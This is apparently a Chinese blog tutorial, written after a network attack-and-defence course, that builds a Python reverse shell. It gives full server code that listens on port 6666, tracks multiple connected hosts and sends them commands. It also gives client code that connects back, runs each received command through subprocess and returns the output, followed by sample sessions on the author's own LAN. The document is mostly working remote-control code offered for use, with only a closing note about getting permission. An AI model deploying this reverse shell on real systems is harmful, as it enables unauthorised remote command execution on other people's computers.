背景
记起有个学期老师教网络攻防讲到了反向shell,从当时的看不懂老师给的代码到现在自己用写一个,这大概就是成长吧!
一、思路
反向shell一般都是由C/S结构发生,我理解的意思大概就是别人说在一包糖里面拿一颗,结果却拿了一整包。先由服务端监听,当有人连接上我们时,我们再通过这个连接发送指令给客户端执行,执行完之后反馈消息给我们。
总体思路:
S:监听->等待->上钩->发送指令->接受信息
C:连接->接受指令->执行指令->发送信息
二、实现
1.Server端:
import socket
import threading
sock = socket.socket()
sock.bind(('0.0.0.0',6666))
sock.listen(1024) #1024代表排队个数
socklist = [] #存放socket连接
numm = None #定义主机号
def con(): #主要保存主动上钩的连接
num = 0
print('等待主机加入')
while True:
(sk, addrport) = sock.accept() #接收连接并返回一个套接字sk,addrport是地址跟端口,(sk,addrport)是一个元组
socklist.append((sk, addrport)) #把接受的元组放进列表,保存起来,反向shell的重要事情!
print(f'\n主机{addrport}加入成功,num={num}\n')
num = num + 1
def who(): #选择主机函数
global numm
numm = input('\n输入要控制主机的num')
print(f'选择主机{socklist[int(numm)][1][0]}成功')
def action(): #执行命令函数
while True:
cmd = input('输入命令:')
if len(socklist) > 1 and cmd == 'cchange' :
who()
action()
if cmd == 'eexit' :
print('退出程序。')
exit()
socklist[int(numm)][0].send(cmd.encode('utf-8')) #发送指令到client端
data = socklist[int(numm)][0].recv(8192) #接收反馈的信息
print(data.decode('utf-8'))
def main(): #主函数,(运行函数)
threading.Thread(target=con,args=()).start() #挂一个线程保持接收连接
while True:
if len(socklist) != 0:
who()
action()
if __name__ == '__main__': #程序运行入口
main()
2.Client端
client端比较简单,发起连接,接受指令,执行指令,发送消息即可,其中执行指令用到subprocess模块,subprocess.getoutput()方法可以返回执行指令后的信息,更多用法自行学习哈。
import socket
import subprocess
sock=socket.socket()
sock.connect(('127.0.0.1',6666))
while True:
data = sock.recv(1024)
da = data.decode('utf-8')
fankui = subprocess.getoutput(da)
sock.sendall(fankui.encode('utf-8'))
效果:
C:/Users/blanklee/PycharmProjects/fxshell/server.py
等待主机加入
主机('192.168.1.107', 54085)加入成功,num=0
输入要控制主机的num
0
选择主机192.168.1.107成功
输入命令:ipconfig
Windows IP 配置
以太网适配器 以太网:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::a011:7e57:4108:697a%10
IPv4 地址 . . . . . . . . . . . . : 192.168.1.107
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.1.1
输入命令:dir
驱动器 C 中的卷没有标签。
卷的序列号是 DEAD-D713
C:\Python37 的目录
2020/03/26 19:32 <DIR> .
2020/03/26 19:32 <DIR> ..
2020/03/26 19:34 246 client.py
2020/03/26 19:11 <DIR> DLLs
2019/09/12 18:52 <DIR> Doc
2020/03/26 19:11 <DIR> include
2020/03/26 19:12 <DIR> Lib
2020/03/26 19:12 <DIR> libs
2019/03/25 22:26 30,195 LICENSE.txt
2019/03/25 22:26 665,470 NEWS.txt
2019/03/25 22:23 99,856 python.exe
2019/03/25 22:22 58,896 python3.dll
2019/03/25 22:22 3,748,368 python37.dll
2019/03/25 22:23 98,320 pythonw.exe
2019/09/12 20:28 2,797 readme.txt
2020/03/26 19:18 <DIR> Scripts
2020/03/26 19:12 <DIR> share
2020/03/26 19:12 <DIR> tcl
2020/03/26 19:12 <DIR> Tools
2019/03/25 21:22 89,752 vcruntime140.dll
9 个文件 4,793,900 字节
11 个目录 103,630,409,728 可用字节
输入命令:
主机('127.0.0.1', 47651)加入成功,num=1
ipconfig
Windows IP 配置
以太网适配器 以太网:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::a011:7e57:4108:697a%10
IPv4 地址 . . . . . . . . . . . . : 192.168.1.107
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.1.1
输入命令:cchange
输入要控制主机的num
1
选择主机127.0.0.1成功
输入命令:dir
驱动器 C 中的卷没有标签。
卷的序列号是 BCA3-1618
C:\Users\blanklee\PycharmProjects\baolipojiezip 的目录
2020/03/26 20:51 <DIR> .
2020/03/26 20:51 <DIR> ..
2020/03/19 15:46 <DIR>
2020/03/26 20:58 <DIR> .idea
2020/03/19 15:17 163 1.zip
2020/03/26 20:51 258 66.py
2020/03/19 15:47 <DIR> D
2020/03/20 01:25 192 text.py
2020/03/19 14:59 <DIR> venv
2020/03/20 19:27 2,035 zipbruteforce.py
4 个文件 2,648 字节
6 个目录 12,218,122,240 可用字节
输入命令:
结束
以上所有环境都是自己虚拟环境跟局域网的电脑,PyhonSocket完成反向shell控制计算机的实验就到这结束啦。
最后
温馨小提示:做网络攻防一定要得到对方的允许,不然容易触碰到法律哦。